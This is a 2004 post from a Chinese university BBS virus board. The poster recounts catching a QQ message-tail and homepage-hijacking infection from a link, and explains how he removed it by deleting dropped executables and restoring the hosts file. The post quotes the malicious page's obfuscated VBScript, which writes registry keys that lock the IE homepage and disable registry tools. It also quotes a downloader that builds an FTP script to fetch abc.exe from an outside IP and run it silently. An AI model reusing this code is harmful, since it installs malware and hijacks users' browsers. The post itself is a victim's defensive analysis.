荔园在线
荔园之美，在春之萌芽，在夏之绽放，在秋之收获，在冬之沉淀
[回到开始]
[上一篇][下一篇]
发信人: zloving (r3798rhfishay8923hsflksfy3298rdfksddf8q), 信区: Virus
标 题: 今天研究主页和qq尾巴病毒的一些成果
发信站: 荔园晨风BBS站 (Fri May 14 15:15:17 2004), 站内信件
昨天表弟发了一条qq信息给我:
我刚帮我们班做的网页， 看看顺便给我一点意见^_^ http://v.avtu.com/lovebook/see/
love.htm
平时我对这样的信息是非常敏感的,不过这次由于对表弟毫无戒心,心想:噢,什么时候也
开始学作网页了,去给他点评一下先,一上去看到影视什么的我就知道完蛋了
症状如下:1.qq发信息时会带尾巴
2.修改主页,ie标题,搜索页,而且一上sina,baidu等网站,都会直接跳到
v.avtu.com这个网站去
用注册表工具改回主页等什么,是可以改回的,但是一上baidu.又回到那个网页去了,于是
重新中毒,就这样循环不惜,死不瞑目
我用杀毒软件,专杀工具什么都查不出,垃圾~~~~
我开始查找当天被修改过或创建的文件,发现了c:\windows下有个qqinfo.exe非常可疑
,便上前查问,对方显然心虚,我二话不说,一枪就毙了他,然后用硫酸融解了
这时我发现qq尾巴没有了,噢,原来是这个文件在作怪
接下来是如何改回上baidu却去了v.avtu.com的问题
无意中,我发现c:\windows\system32里面有个文件,ftp.txt,打开一看,发现下载了一个
文件abc.exe在c盘根目录,创建时间都是中毒那段时间,有问题,杀无涉
再上百度,哭,又去了v.avtu.com,于是我直接看v.avtu.com的代码,发现了一些狗东西
一段是修改注册表的一些vbscript,里面有两个水平有限看不懂
wsh.RegWrite "H"&"KC"&"U\So"&"ftw"&"are\Policies\Mi"&"cro"&"sof"&"t\In"&"ter"
&"ne"&"t E"&"xp"&"lor"&"er\Co"&"ntr"&"ol Pa"&"ne"&"l\H"&"ome"&"Pa"&"ge","1","
REG_DWORD"
"HK"&"C"&"U\So"&"ft"&"wa"&"re\Mic"&"ro"&"sof"&"t\Wi"&"ndo"&"ws\Cur"&"ren"&"
tVe"&"rs"&"ion\Pol"&"ici"&"es\Sy"&"s"&"te"&"m\Dis"&"abl"&"eRe"&"gis"&"tr"&"
yToo"&"ls","1","REG_DWORD"
同时发现了下载abc.exe的代码,证明我没有冤枉他们
<script language="VBScript">
Dim fs, t
Set fs = CreateObject("Scripting.FileSystemObject")
Set t = fs.CreateTextFile("ftp.txt",True)
t.WriteLine("open 219.159.68.23")
t.WriteLine("show")
t.WriteLine("show")
t.WriteLine("bin")
t.WriteLine("lcd c:\")
t.WriteLine("get abc.exe")
t.WriteLine("bye")
t.Close
wsh.Run "ftp -s:ftp.txt",0,true
wsh.Run "c:\abc.exe"
fs.DeleteFile "ftp.txt",true
window.close
</script>
现在的问题是abc.exe究竟做了什么东西?我就不知道了
估计就是abc.exe下载回来后,做了什么手脚,而我没有发现的
那位仁兄是否有我这样中毒情况?怎么解决??
续:
问题我解决了
abc.exe的作用是往hosts文件里写入转接的工作
hosts文件对普通用户是没什么影响的,但是由于我装了iis服务器,这就有影响了
hosts里面100多个网址,包括sina,baidu都被转接到那个病毒网站去了
敲入baidu.com时,系统服务器会先查找hosts文件,然后有就转接,没有就直连了
改回hosts文件后就没事了
hosts的目录是:
C:\WINDOWS\system32\drivers\etc
用文本可以打开
--
这是为什么？？？
知道吗！！
打雷暴， 落雨好收衫阿！！！
※ 修改:·zloving 於 May 17 13:10:15 修改本文·[FROM: 192.168.55.77]
※ 来源:·荔园晨风BBS站 bbs.szu.edu.cn·[FROM: 192.168.55.77]
[回到开始]
[上一篇][下一篇]
荔园在线首页 友情链接：深圳大学 深大招生 荔园晨风BBS S-Term软件 网络书店